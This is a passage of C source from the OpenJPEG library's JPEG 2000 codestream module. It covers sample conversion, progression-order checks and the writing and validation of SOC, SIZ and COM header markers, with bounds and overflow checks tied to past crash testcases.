l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_UINT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_UINT32) * (l_src_data++); opj_write_bytes(l_dest_data, l_temp, sizeof(OPJ_INT32)); l_dest_data += sizeof(OPJ_INT32); } } static void opj_j2k_write_float_to_float(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_FLOAT32 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_FLOAT32) * (l_src_data++); opj_write_float(l_dest_data, l_temp); l_dest_data += sizeof(OPJ_FLOAT32); } } static void opj_j2k_write_float_to_float64(const void * p_src_data, void * p_dest_data, OPJ_UINT32 p_nb_elem) { OPJ_BYTE * l_dest_data = (OPJ_BYTE *) p_dest_data; OPJ_FLOAT32 * l_src_data = (OPJ_FLOAT32 *) p_src_data; OPJ_UINT32 i; OPJ_FLOAT64 l_temp; for (i = 0; i < p_nb_elem; ++i) { l_temp = (OPJ_FLOAT64) * (l_src_data++); opj_write_double(l_dest_data, l_temp); l_dest_data += sizeof(OPJ_FLOAT64); } } const char *opj_j2k_convert_progression_order(OPJ_PROG_ORDER prg_order) { const j2k_prog_order_t *po; for (po = j2k_prog_order_list; po->enum_prog != -1; po++) { if (po->enum_prog == prg_order) { return po->str_prog; } } return po->str_prog; } static OPJ_BOOL opj_j2k_check_poc_val(const opj_poc_t *p_pocs, OPJ_UINT32 p_nb_pocs, OPJ_UINT32 p_nb_resolutions, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_num_layers, opj_event_mgr_t * p_manager) { OPJ_UINT32* packet_array; OPJ_UINT32 index, resno, compno, layno; OPJ_UINT32 i; OPJ_UINT32 step_c = 1; OPJ_UINT32 step_r = p_num_comps * step_c; OPJ_UINT32 step_l = p_nb_resolutions * step_r; OPJ_BOOL loss = OPJ_FALSE; OPJ_UINT32 layno0 = 0; packet_array = (OPJ_UINT32*) opj_calloc(step_l * p_num_layers, sizeof(OPJ_UINT32)); if (packet_array == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory for checking the poc values.\n"); return OPJ_FALSE; } if (p_nb_pocs == 0) { opj_free(packet_array); return OPJ_TRUE; } index = step_r * p_pocs->resno0; /* take each resolution for each poc */ for (resno = p_pocs->resno0 ; resno < p_pocs->resno1 ; ++resno) { OPJ_UINT32 res_index = index + p_pocs->compno0 * step_c; /* take each comp of each resolution for each poc */ for (compno = p_pocs->compno0 ; compno < p_pocs->compno1 ; ++compno) { OPJ_UINT32 comp_index = res_index + layno0 * step_l; /* and finally take each layer of each res of ... */ for (layno = layno0; layno < p_pocs->layno1 ; ++layno) { /*index = step_r * resno + step_c * compno + step_l * layno;*/ packet_array[comp_index] = 1; comp_index += step_l; } res_index += step_c; } index += step_r; } ++p_pocs; /* iterate through all the pocs */ for (i = 1; i < p_nb_pocs ; ++i) { OPJ_UINT32 l_last_layno1 = (p_pocs - 1)->layno1 ; layno0 = (p_pocs->layno1 > l_last_layno1) ? l_last_layno1 : 0; index = step_r * p_pocs->resno0; /* take each resolution for each poc */ for (resno = p_pocs->resno0 ; resno < p_pocs->resno1 ; ++resno) { OPJ_UINT32 res_index = index + p_pocs->compno0 * step_c; /* take each comp of each resolution for each poc */ for (compno = p_pocs->compno0 ; compno < p_pocs->compno1 ; ++compno) { OPJ_UINT32 comp_index = res_index + layno0 * step_l; /* and finally take each layer of each res of ... */ for (layno = layno0; layno < p_pocs->layno1 ; ++layno) { /*index = step_r * resno + step_c * compno + step_l * layno;*/ packet_array[comp_index] = 1; comp_index += step_l; } res_index += step_c; } index += step_r; } ++p_pocs; } index = 0; for (layno = 0; layno < p_num_layers ; ++layno) { for (resno = 0; resno < p_nb_resolutions; ++resno) { for (compno = 0; compno < p_num_comps; ++compno) { loss |= (packet_array[index] != 1); /*index = step_r * resno + step_c * compno + step_l * layno;*/ index += step_c; } } } if (loss) { opj_event_msg(p_manager, EVT_ERROR, "Missing packets possible loss of data\n"); } opj_free(packet_array); return !loss; } /* ----------------------------------------------------------------------- */ static OPJ_UINT32 opj_j2k_get_num_tp(opj_cp_t *cp, OPJ_UINT32 pino, OPJ_UINT32 tileno) { const OPJ_CHAR *prog = 00; OPJ_INT32 i; OPJ_UINT32 tpnum = 1; opj_tcp_t *tcp = 00; opj_poc_t * l_current_poc = 00; /* preconditions */ assert(tileno < (cp->tw * cp->th)); assert(pino < (cp->tcps[tileno].numpocs + 1)); /* get the given tile coding parameter */ tcp = &cp->tcps[tileno]; assert(tcp != 00); l_current_poc = &(tcp->pocs[pino]); assert(l_current_poc != 0); /* get the progression order as a character string */ prog = opj_j2k_convert_progression_order(tcp->prg); assert(strlen(prog) > 0); if (cp->m_specific_param.m_enc.m_tp_on == 1) { for (i = 0; i < 4; ++i) { switch (prog[i]) { /* component wise */ case 'C': tpnum *= l_current_poc->compE; break; /* resolution wise */ case 'R': tpnum *= l_current_poc->resE; break; /* precinct wise */ case 'P': tpnum *= l_current_poc->prcE; break; /* layer wise */ case 'L': tpnum *= l_current_poc->layE; break; } /* whould we split here ? */ if (cp->m_specific_param.m_enc.m_tp_flag == prog[i]) { cp->m_specific_param.m_enc.m_tp_pos = i; break; } } } else { tpnum = 1; } return tpnum; } static OPJ_BOOL opj_j2k_calculate_tp(opj_j2k_t *p_j2k, opj_cp_t *cp, OPJ_UINT32 * p_nb_tiles, opj_image_t *image, opj_event_mgr_t * p_manager ) { OPJ_UINT32 pino, tileno; OPJ_UINT32 l_nb_tiles; opj_tcp_t *tcp; /* preconditions */ assert(p_nb_tiles != 00); assert(cp != 00); assert(image != 00); assert(p_j2k != 00); assert(p_manager != 00); OPJ_UNUSED(p_j2k); OPJ_UNUSED(p_manager); l_nb_tiles = cp->tw * cp->th; * p_nb_tiles = 0; tcp = cp->tcps; /* INDEX >> */ /* TODO mergeV2: check this part which use cstr_info */ /*if (p_j2k->cstr_info) { opj_tile_info_t * l_info_tile_ptr = p_j2k->cstr_info->tile; for (tileno = 0; tileno < l_nb_tiles; ++tileno) { OPJ_UINT32 cur_totnum_tp = 0; opj_pi_update_encoding_parameters(image,cp,tileno); for (pino = 0; pino <= tcp->numpocs; ++pino) { OPJ_UINT32 tp_num = opj_j2k_get_num_tp(cp,pino,tileno); *p_nb_tiles = *p_nb_tiles + tp_num; cur_totnum_tp += tp_num; } tcp->m_nb_tile_parts = cur_totnum_tp; l_info_tile_ptr->tp = (opj_tp_info_t *) opj_malloc(cur_totnum_tp * sizeof(opj_tp_info_t)); if (l_info_tile_ptr->tp == 00) { return OPJ_FALSE; } memset(l_info_tile_ptr->tp,0,cur_totnum_tp * sizeof(opj_tp_info_t)); l_info_tile_ptr->num_tps = cur_totnum_tp; ++l_info_tile_ptr; ++tcp; } } else */{ for (tileno = 0; tileno < l_nb_tiles; ++tileno) { OPJ_UINT32 cur_totnum_tp = 0; opj_pi_update_encoding_parameters(image, cp, tileno); for (pino = 0; pino <= tcp->numpocs; ++pino) { OPJ_UINT32 tp_num = opj_j2k_get_num_tp(cp, pino, tileno); *p_nb_tiles = *p_nb_tiles + tp_num; cur_totnum_tp += tp_num; } tcp->m_nb_tile_parts = cur_totnum_tp; ++tcp; } } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { /* 2 bytes will be written */ OPJ_BYTE * l_start_stream = 00; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); l_start_stream = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* write SOC identifier */ opj_write_bytes(l_start_stream, J2K_MS_SOC, 2); if (opj_stream_write_data(p_stream, l_start_stream, 2, p_manager) != 2) { return OPJ_FALSE; } /* UniPG>> */ #ifdef USE_JPWL /* update markers struct */ /* OPJ_BOOL res = j2k_add_marker(p_j2k->cstr_info, J2K_MS_SOC, p_stream_tell(p_stream) - 2, 2); */ assert(0 && "TODO"); #endif /* USE_JPWL */ /* <<UniPG */ return OPJ_TRUE; } /** * Reads a SOC marker (Start of Codestream) * @param p_j2k the jpeg2000 file codec. * @param p_stream FIXME DOC * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_soc(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_BYTE l_data [2]; OPJ_UINT32 l_marker; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_stream != 00); if (opj_stream_read_data(p_stream, l_data, 2, p_manager) != 2) { return OPJ_FALSE; } opj_read_bytes(l_data, &l_marker, 2); if (l_marker != J2K_MS_SOC) { return OPJ_FALSE; } /* Next marker should be a SIZ marker in the main header */ p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MHSIZ; /* FIXME move it in a index structure included in p_j2k*/ p_j2k->cstr_index->main_head_start = opj_stream_tell(p_stream) - 2; opj_event_msg(p_manager, EVT_INFO, "Start to read j2k main header (%d).\n", p_j2k->cstr_index->main_head_start); /* Add the marker to the codestream index*/ if (OPJ_FALSE == opj_j2k_add_mhmarker(p_j2k->cstr_index, J2K_MS_SOC, p_j2k->cstr_index->main_head_start, 2)) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to add mh marker\n"); return OPJ_FALSE; } return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_siz(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager) { OPJ_UINT32 i; OPJ_UINT32 l_size_len; OPJ_BYTE * l_current_ptr; opj_image_t * l_image = 00; opj_cp_t *cp = 00; opj_image_comp_t * l_img_comp = 00; /* preconditions */ assert(p_stream != 00); assert(p_j2k != 00); assert(p_manager != 00); l_image = p_j2k->m_private_image; cp = &(p_j2k->m_cp); l_size_len = 40 + 3 * l_image->numcomps; l_img_comp = l_image->comps; if (l_size_len > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_size_len); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory for the SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_encoder.m_header_tile_data = new_header_tile_data; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = l_size_len; } l_current_ptr = p_j2k->m_specific_param.m_encoder.m_header_tile_data; /* write SOC identifier */ opj_write_bytes(l_current_ptr, J2K_MS_SIZ, 2); /* SIZ */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_size_len - 2, 2); /* L_SIZ */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, cp->rsiz, 2); /* Rsiz (capabilities) */ l_current_ptr += 2; opj_write_bytes(l_current_ptr, l_image->x1, 4); /* Xsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->y1, 4); /* Ysiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->x0, 4); /* X0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->y0, 4); /* Y0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tdx, 4); /* XTsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tdy, 4); /* YTsiz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->tx0, 4); /* XT0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, cp->ty0, 4); /* YT0siz */ l_current_ptr += 4; opj_write_bytes(l_current_ptr, l_image->numcomps, 2); /* Csiz */ l_current_ptr += 2; for (i = 0; i < l_image->numcomps; ++i) { /* TODO here with MCT ? */ opj_write_bytes(l_current_ptr, l_img_comp->prec - 1 + (l_img_comp->sgnd << 7), 1); /* Ssiz_i */ ++l_current_ptr; opj_write_bytes(l_current_ptr, l_img_comp->dx, 1); /* XRsiz_i */ ++l_current_ptr; opj_write_bytes(l_current_ptr, l_img_comp->dy, 1); /* YRsiz_i */ ++l_current_ptr; ++l_img_comp; } if (opj_stream_write_data(p_stream, p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_size_len, p_manager) != l_size_len) { return OPJ_FALSE; } return OPJ_TRUE; } /** * Reads a SIZ marker (image and tile size) * @param p_j2k the jpeg2000 file codec. * @param p_header_data the data contained in the SIZ box. * @param p_header_size the size of the data contained in the SIZ marker. * @param p_manager the user event manager. */ static OPJ_BOOL opj_j2k_read_siz(opj_j2k_t *p_j2k, OPJ_BYTE * p_header_data, OPJ_UINT32 p_header_size, opj_event_mgr_t * p_manager ) { OPJ_UINT32 i; OPJ_UINT32 l_nb_comp; OPJ_UINT32 l_nb_comp_remain; OPJ_UINT32 l_remaining_size; OPJ_UINT32 l_nb_tiles; OPJ_UINT32 l_tmp, l_tx1, l_ty1; OPJ_UINT32 l_prec0, l_sgnd0; opj_image_t *l_image = 00; opj_cp_t *l_cp = 00; opj_image_comp_t * l_img_comp = 00; opj_tcp_t * l_current_tile_param = 00; /* preconditions */ assert(p_j2k != 00); assert(p_manager != 00); assert(p_header_data != 00); l_image = p_j2k->m_private_image; l_cp = &(p_j2k->m_cp); /* minimum size == 39 - 3 (= minimum component parameter) */ if (p_header_size < 36) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker size\n"); return OPJ_FALSE; } l_remaining_size = p_header_size - 36; l_nb_comp = l_remaining_size / 3; l_nb_comp_remain = l_remaining_size % 3; if (l_nb_comp_remain != 0) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker size\n"); return OPJ_FALSE; } opj_read_bytes(p_header_data, &l_tmp, 2); /* Rsiz (capabilities) */ p_header_data += 2; l_cp->rsiz = (OPJ_UINT16) l_tmp; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->x1, 4); /* Xsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->y1, 4); /* Ysiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->x0, 4); /* X0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_image->y0, 4); /* Y0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tdx, 4); /* XTsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tdy, 4); /* YTsiz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->tx0, 4); /* XT0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_cp->ty0, 4); /* YT0siz */ p_header_data += 4; opj_read_bytes(p_header_data, (OPJ_UINT32*) &l_tmp, 2); /* Csiz */ p_header_data += 2; if (l_tmp < 16385) { l_image->numcomps = (OPJ_UINT16) l_tmp; } else { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: number of component is illegal -> %d\n", l_tmp); return OPJ_FALSE; } if (l_image->numcomps != l_nb_comp) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: number of component is not compatible with the remaining number of parameters ( %d vs %d)\n", l_image->numcomps, l_nb_comp); return OPJ_FALSE; } /* testcase 4035.pdf.SIGSEGV.d8b.3375 */ /* testcase issue427-null-image-size.jp2 */ if ((l_image->x0 >= l_image->x1) || (l_image->y0 >= l_image->y1)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: negative or zero image size (%" PRId64 " x %" PRId64 ")\n", (OPJ_INT64)l_image->x1 - l_image->x0, (OPJ_INT64)l_image->y1 - l_image->y0); return OPJ_FALSE; } /* testcase 2539.pdf.SIGFPE.706.1712 (also 3622.pdf.SIGFPE.706.2916 and 4008.pdf.SIGFPE.706.3345 and maybe more) */ if ((l_cp->tdx == 0U) || (l_cp->tdy == 0U)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: invalid tile size (tdx: %d, tdy: %d)\n", l_cp->tdx, l_cp->tdy); return OPJ_FALSE; } /* testcase 1610.pdf.SIGSEGV.59c.681 */ if ((0xFFFFFFFFU / l_image->x1) < l_image->y1) { opj_event_msg(p_manager, EVT_ERROR, "Prevent buffer overflow (x1: %d, y1: %d)\n", l_image->x1, l_image->y1); return OPJ_FALSE; } /* testcase issue427-illegal-tile-offset.jp2 */ l_tx1 = opj_uint_adds(l_cp->tx0, l_cp->tdx); /* manage overflow */ l_ty1 = opj_uint_adds(l_cp->ty0, l_cp->tdy); /* manage overflow */ if ((l_cp->tx0 > l_image->x0) || (l_cp->ty0 > l_image->y0) || (l_tx1 <= l_image->x0) || (l_ty1 <= l_image->y0)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: illegal tile offset\n"); return OPJ_FALSE; } if (!p_j2k->dump_state) { OPJ_UINT32 siz_w, siz_h; siz_w = l_image->x1 - l_image->x0; siz_h = l_image->y1 - l_image->y0; if (p_j2k->ihdr_w > 0 && p_j2k->ihdr_h > 0 && (p_j2k->ihdr_w != siz_w || p_j2k->ihdr_h != siz_h)) { opj_event_msg(p_manager, EVT_ERROR, "Error with SIZ marker: IHDR w(%u) h(%u) vs. SIZ w(%u) h(%u)\n", p_j2k->ihdr_w, p_j2k->ihdr_h, siz_w, siz_h); return OPJ_FALSE; } } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters */ if (!(l_image->x1 * l_image->y1)) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: bad image size (%d x %d)\n", l_image->x1, l_image->y1); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } /* FIXME check previously in the function so why keep this piece of code ? Need by the norm ? if (l_image->numcomps != ((len - 38) / 3)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: Csiz is %d => space in SIZ only for %d comps.!!!\n", l_image->numcomps, ((len - 38) / 3)); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } */ /* we try to correct */ /* opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust this\n"); if (l_image->numcomps < ((len - 38) / 3)) { len = 38 + 3 * l_image->numcomps; opj_event_msg(p_manager, EVT_WARNING, "- setting Lsiz to %d => HYPOTHESIS!!!\n", len); } else { l_image->numcomps = ((len - 38) / 3); opj_event_msg(p_manager, EVT_WARNING, "- setting Csiz to %d => HYPOTHESIS!!!\n", l_image->numcomps); } } */ /* update components number in the jpwl_exp_comps filed */ l_cp->exp_comps = l_image->numcomps; } #endif /* USE_JPWL */ /* Allocate the resulting image components */ l_image->comps = (opj_image_comp_t*) opj_calloc(l_image->numcomps, sizeof(opj_image_comp_t)); if (l_image->comps == 00) { l_image->numcomps = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } l_img_comp = l_image->comps; l_prec0 = 0; l_sgnd0 = 0; /* Read the component information */ for (i = 0; i < l_image->numcomps; ++i) { OPJ_UINT32 tmp; opj_read_bytes(p_header_data, &tmp, 1); /* Ssiz_i */ ++p_header_data; l_img_comp->prec = (tmp & 0x7f) + 1; l_img_comp->sgnd = tmp >> 7; if (p_j2k->dump_state == 0) { if (i == 0) { l_prec0 = l_img_comp->prec; l_sgnd0 = l_img_comp->sgnd; } else if (!l_cp->allow_different_bit_depth_sign && (l_img_comp->prec != l_prec0 || l_img_comp->sgnd != l_sgnd0)) { opj_event_msg(p_manager, EVT_WARNING, "Despite JP2 BPC!=255, precision and/or sgnd values for comp[%d] is different than comp[0]:\n" " [0] prec(%d) sgnd(%d) [%d] prec(%d) sgnd(%d)\n", i, l_prec0, l_sgnd0, i, l_img_comp->prec, l_img_comp->sgnd); } /* TODO: we should perhaps also check against JP2 BPCC values */ } opj_read_bytes(p_header_data, &tmp, 1); /* XRsiz_i */ ++p_header_data; l_img_comp->dx = (OPJ_UINT32)tmp; /* should be between 1 and 255 */ opj_read_bytes(p_header_data, &tmp, 1); /* YRsiz_i */ ++p_header_data; l_img_comp->dy = (OPJ_UINT32)tmp; /* should be between 1 and 255 */ if (l_img_comp->dx < 1 || l_img_comp->dx > 255 || l_img_comp->dy < 1 || l_img_comp->dy > 255) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : dx=%u dy=%u (should be between 1 and 255 according to the JPEG2000 norm)\n", i, l_img_comp->dx, l_img_comp->dy); return OPJ_FALSE; } /* Avoids later undefined shift in computation of */ /* p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[i].m_dc_level_shift = 1 << (l_image->comps[i].prec - 1); */ if (l_img_comp->prec > 31) { opj_event_msg(p_manager, EVT_ERROR, "Invalid values for comp = %d : prec=%u (should be between 1 and 38 according to the JPEG2000 norm. OpenJpeg only supports up to 31)\n", i, l_img_comp->prec); return OPJ_FALSE; } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters, again */ if (!(l_image->comps[i].dx * l_image->comps[i].dy)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad XRsiz_%d/YRsiz_%d (%d x %d)\n", i, i, l_image->comps[i].dx, l_image->comps[i].dy); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n"); if (!l_image->comps[i].dx) { l_image->comps[i].dx = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting XRsiz_%d to %d => HYPOTHESIS!!!\n", i, l_image->comps[i].dx); } if (!l_image->comps[i].dy) { l_image->comps[i].dy = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting YRsiz_%d to %d => HYPOTHESIS!!!\n", i, l_image->comps[i].dy); } } } #endif /* USE_JPWL */ l_img_comp->resno_decoded = 0; /* number of resolution decoded */ l_img_comp->factor = l_cp->m_specific_param.m_dec.m_reduce; /* reducing factor per component */ ++l_img_comp; } if (l_cp->tdx == 0 || l_cp->tdy == 0) { return OPJ_FALSE; } /* Compute the number of tiles */ l_cp->tw = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(l_image->x1 - l_cp->tx0), (OPJ_INT32)l_cp->tdx); l_cp->th = (OPJ_UINT32)opj_int_ceildiv((OPJ_INT32)(l_image->y1 - l_cp->ty0), (OPJ_INT32)l_cp->tdy); /* Check that the number of tiles is valid */ if (l_cp->tw == 0 || l_cp->th == 0 || l_cp->tw > 65535 / l_cp->th) { opj_event_msg(p_manager, EVT_ERROR, "Invalid number of tiles : %u x %u (maximum fixed by jpeg2000 norm is 65535 tiles)\n", l_cp->tw, l_cp->th); return OPJ_FALSE; } l_nb_tiles = l_cp->tw * l_cp->th; /* Define the tiles which will be decoded */ if (p_j2k->m_specific_param.m_decoder.m_discard_tiles) { p_j2k->m_specific_param.m_decoder.m_start_tile_x = (p_j2k->m_specific_param.m_decoder.m_start_tile_x - l_cp->tx0) / l_cp->tdx; p_j2k->m_specific_param.m_decoder.m_start_tile_y = (p_j2k->m_specific_param.m_decoder.m_start_tile_y - l_cp->ty0) / l_cp->tdy; p_j2k->m_specific_param.m_decoder.m_end_tile_x = (OPJ_UINT32)opj_int_ceildiv(( OPJ_INT32)(p_j2k->m_specific_param.m_decoder.m_end_tile_x - l_cp->tx0), (OPJ_INT32)l_cp->tdx); p_j2k->m_specific_param.m_decoder.m_end_tile_y = (OPJ_UINT32)opj_int_ceildiv(( OPJ_INT32)(p_j2k->m_specific_param.m_decoder.m_end_tile_y - l_cp->ty0), (OPJ_INT32)l_cp->tdy); } else { p_j2k->m_specific_param.m_decoder.m_start_tile_x = 0; p_j2k->m_specific_param.m_decoder.m_start_tile_y = 0; p_j2k->m_specific_param.m_decoder.m_end_tile_x = l_cp->tw; p_j2k->m_specific_param.m_decoder.m_end_tile_y = l_cp->th; } #ifdef USE_JPWL if (l_cp->correct) { /* if JPWL is on, we check whether TX errors have damaged too much the SIZ parameters */ if ((l_cp->tw < 1) || (l_cp->th < 1) || (l_cp->tw > l_cp->max_tiles) || (l_cp->th > l_cp->max_tiles)) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: bad number of tiles (%d x %d)\n", l_cp->tw, l_cp->th); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } /* we try to correct */ opj_event_msg(p_manager, EVT_WARNING, "- trying to adjust them\n"); if (l_cp->tw < 1) { l_cp->tw = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting %d tiles in x => HYPOTHESIS!!!\n", l_cp->tw); } if (l_cp->tw > l_cp->max_tiles) { l_cp->tw = 1; opj_event_msg(p_manager, EVT_WARNING, "- too large x, increase expectance of %d\n" "- setting %d tiles in x => HYPOTHESIS!!!\n", l_cp->max_tiles, l_cp->tw); } if (l_cp->th < 1) { l_cp->th = 1; opj_event_msg(p_manager, EVT_WARNING, "- setting %d tiles in y => HYPOTHESIS!!!\n", l_cp->th); } if (l_cp->th > l_cp->max_tiles) { l_cp->th = 1; opj_event_msg(p_manager, EVT_WARNING, "- too large y, increase expectance of %d to continue\n", "- setting %d tiles in y => HYPOTHESIS!!!\n", l_cp->max_tiles, l_cp->th); } } } #endif /* USE_JPWL */ /* memory allocations */ l_cp->tcps = (opj_tcp_t*) opj_calloc(l_nb_tiles, sizeof(opj_tcp_t)); if (l_cp->tcps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } #ifdef USE_JPWL if (l_cp->correct) { if (!l_cp->tcps) { opj_event_msg(p_manager, JPWL_ASSUME ? EVT_WARNING : EVT_ERROR, "JPWL: could not alloc tcps field of cp\n"); if (!JPWL_ASSUME) { opj_event_msg(p_manager, EVT_ERROR, "JPWL: giving up\n"); return OPJ_FALSE; } } } #endif /* USE_JPWL */ p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps = (opj_tccp_t*) opj_calloc(l_image->numcomps, sizeof(opj_tccp_t)); if (p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mct_records = (opj_mct_data_t*)opj_calloc(OPJ_J2K_MCT_DEFAULT_NB_RECORDS, sizeof(opj_mct_data_t)); if (! p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mct_records) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_nb_max_mct_records = OPJ_J2K_MCT_DEFAULT_NB_RECORDS; p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mcc_records = (opj_simple_mcc_decorrelation_data_t*) opj_calloc(OPJ_J2K_MCC_DEFAULT_NB_RECORDS, sizeof(opj_simple_mcc_decorrelation_data_t)); if (! p_j2k->m_specific_param.m_decoder.m_default_tcp->m_mcc_records) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } p_j2k->m_specific_param.m_decoder.m_default_tcp->m_nb_max_mcc_records = OPJ_J2K_MCC_DEFAULT_NB_RECORDS; /* set up default dc level shift */ for (i = 0; i < l_image->numcomps; ++i) { if (! l_image->comps[i].sgnd) { p_j2k->m_specific_param.m_decoder.m_default_tcp->tccps[i].m_dc_level_shift = 1 << (l_image->comps[i].prec - 1); } } l_current_tile_param = l_cp->tcps; for (i = 0; i < l_nb_tiles; ++i) { l_current_tile_param->tccps = (opj_tccp_t*) opj_calloc(l_image->numcomps, sizeof(opj_tccp_t)); if (l_current_tile_param->tccps == 00) { opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to take in charge SIZ marker\n"); return OPJ_FALSE; } ++l_current_tile_param; } p_j2k->m_specific_param.m_decoder.m_state = J2K_STATE_MH; opj_image_comp_header_update(l_image, l_cp); return OPJ_TRUE; } static OPJ_BOOL opj_j2k_write_com(opj_j2k_t *p_j2k, opj_stream_private_t *p_stream, opj_event_mgr_t * p_manager ) { OPJ_UINT32 l_comment_size; OPJ_UINT32 l_total_com_size; const OPJ_CHAR *l_comment; OPJ_BYTE * l_current_ptr = 00; /* preconditions */ assert(p_j2k != 00); assert(p_stream != 00); assert(p_manager != 00); l_comment = p_j2k->m_cp.comment; l_comment_size = (OPJ_UINT32)strlen(l_comment); l_total_com_size = l_comment_size + 6; if (l_total_com_size > p_j2k->m_specific_param.m_encoder.m_header_tile_data_size) { OPJ_BYTE *new_header_tile_data = (OPJ_BYTE *) opj_realloc( p_j2k->m_specific_param.m_encoder.m_header_tile_data, l_total_com_size); if (! new_header_tile_data) { opj_free(p_j2k->m_specific_param.m_encoder.m_header_tile_data); p_j2k->m_specific_param.m_encoder.m_header_tile_data = NULL; p_j2k->m_specific_param.m_encoder.m_header_tile_data_size = 0; opj_event_msg(p_manager, EVT_ERROR, "Not enough memory to write the COM marker\n"); return OPJ_FALSE; } 